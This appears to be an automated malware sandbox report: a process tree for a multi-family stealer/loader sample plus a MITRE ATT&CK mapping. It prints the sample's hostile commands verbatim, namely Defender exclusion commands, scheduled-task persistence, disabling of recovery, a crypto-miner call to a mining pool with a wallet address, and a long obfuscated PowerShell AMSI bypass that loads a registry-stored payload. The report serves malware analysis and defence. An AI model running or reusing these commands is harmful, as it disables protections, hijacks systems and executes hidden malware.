- Indicator Removal: Clear Windows Event Logs
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1600
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2064

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:72

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3176
- C:\Users\Admin\AppData\Local\Temp\2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2536
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:816
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2428
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5240
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4216
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:876
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2292
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3048
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3444
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2396
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5412
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5356
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5580
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5660
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5700
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5972
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4736
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3368

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3684

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3756

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3880

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5108

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3132

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1960

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4632

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5336

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3804

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:aLHfUVTwVrmF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JzWAjCjrxfXJsn,[Parameter(Position=1)][Type]$rtfKEStnma)$AmYjSBIXhaL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+'le',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+'a'+'t'+'e'+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+'A'+'u'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$AmYjSBIXhaL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+','+''+[Char](72)+''+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$JzWAjCjrxfXJsn).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$AmYjSBIXhaL.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+'Hi'+[Char](100)+'eB'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$rtfKEStnma,$JzWAjCjrxfXJsn).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $AmYjSBIXhaL.CreateType();}$TomrrCDeoXtUu=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+'in3'+[Char](50)+'.'+'U'+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+'i'+'v'+''+[Char](101)+'M'+[Char](101)+'tho'+[Char](100)+'s');$TrfiFInrQaqwZj=$TomrrCDeoXtUu.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+'d'+'re'+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+[Char](116)+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PuDkIqKWRsNjYLmbPpe=aLHfUVTwVrmF @([String])([IntPtr]);$jVZUSwKAjxJIPvxzYbWhMM=aLHfUVTwVrmF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PohrGGatTdt=$TomrrCDeoXtUu.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+'d'+'u'+''+[Char](108)+'e'+[Char](72)+''+'a'+'n'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$vBWfysLXJTLLYY=$TrfiFInrQaqwZj.Invoke($Null,@([Object]$PohrGGatTdt,[Object](''+[Char](76)+'o'+'a'+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$BaDPVpBLTiyMCfIbU=$TrfiFInrQaqwZj.Invoke($Null,@([Object]$PohrGGatTdt,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+''+'r'+'ot'+[Char](101)+''+'c'+''+'t'+'')));$EZFcARe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vBWfysLXJTLLYY,$PuDkIqKWRsNjYLmbPpe).Invoke('am'+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'');$PSuBFICdPhuMoZtXr=$TrfiFInrQaqwZj.Invoke($Null,@([Object]$EZFcARe,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$rgbLZKPbvQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BaDPVpBLTiyMCfIbU,$jVZUSwKAjxJIPvxzYbWhMM).Invoke($PSuBFICdPhuMoZtXr,[uint32]8,4,[ref]$rgbLZKPbvQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](238-107),[Byte](159+33),[Byte](189-189),[Byte](158+26),[Byte](199-112),[Byte](119-119),[Byte](48-41),[Byte](50+78),[Byte](102+35),[Byte](198+12),[Byte](182+13),[Byte](63+68),[Byte](228+6),[Byte](116-116)),0,$PSuBFICdPhuMoZtXr,66-52);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BaDPVpBLTiyMCfIbU,$jVZUSwKAjxJIPvxzYbWhMM).Invoke($PSuBFICdPhuMoZtXr,[uint32]8,0x20,[ref]$rgbLZKPbvQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+'W'+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](83)+''+[Char](72)+'s'+[Char](116)+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:aLHfUVTwVrmF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JzWAjCjrxfXJsn,[Parameter(Position=1)][Type]$rtfKEStnma)$AmYjSBIXhaL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+'le',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+'a'+'t'+'e'+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+'A'+'u'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$AmYjSBIXhaL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+','+''+[Char](72)+''+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$JzWAjCjrxfXJsn).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$AmYjSBIXhaL.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+'Hi'+[Char](100)+'eB'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$rtfKEStnma,$JzWAjCjrxfXJsn).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $AmYjSBIXhaL.CreateType();}$TomrrCDeoXtUu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+'in3'+[Char](50)+'.'+'U'+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+'i'+'v'+''+[Char](101)+'M'+[Char](101)+'tho'+[Char](100)+'s');$TrfiFInrQaqwZj=$TomrrCDeoXtUu.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+'d'+'re'+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+[Char](116)+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PuDkIqKWRsNjYLmbPpe=aLHfUVTwVrmF @([String])([IntPtr]);$jVZUSwKAjxJIPvxzYbWhMM=aLHfUVTwVrmF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PohrGGatTdt=$TomrrCDeoXtUu.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+'d'+'u'+''+[Char](108)+'e'+[Char](72)+''+'a'+'n'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$vBWfysLXJTLLYY=$TrfiFInrQaqwZj.Invoke($Null,@([Object]$PohrGGatTdt,[Object](''+[Char](76)+'o'+'a'+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$BaDPVpBLTiyMCfIbU=$TrfiFInrQaqwZj.Invoke($Null,@([Object]$PohrGGatTdt,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+''+'r'+'ot'+[Char](101)+''+'c'+''+'t'+'')));$EZFcARe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vBWfysLXJTLLYY,$PuDkIqKWRsNjYLmbPpe).Invoke('am'+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'');$PSuBFICdPhuMoZtXr=$TrfiFInrQaqwZj.Invoke($Null,@([Object]$EZFcARe,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$rgbLZKPbvQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BaDPVpBLTiyMCfIbU,$jVZUSwKAjxJIPvxzYbWhMM).Invoke($PSuBFICdPhuMoZtXr,[uint32]8,4,[ref]$rgbLZKPbvQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](238-107),[Byte](159+33),[Byte](189-189),[Byte](158+26),[Byte](199-112),[Byte](119-119),[Byte](48-41),[Byte](50+78),[Byte](102+35),[Byte](198+12),[Byte](182+13),[Byte](63+68),[Byte](228+6),[Byte](116-116)),0,$PSuBFICdPhuMoZtXr,66-52);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BaDPVpBLTiyMCfIbU,$jVZUSwKAjxJIPvxzYbWhMM).Invoke($PSuBFICdPhuMoZtXr,[uint32]8,0x20,[ref]$rgbLZKPbvQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+'W'+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](83)+''+[Char](72)+'s'+[Char](116)+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion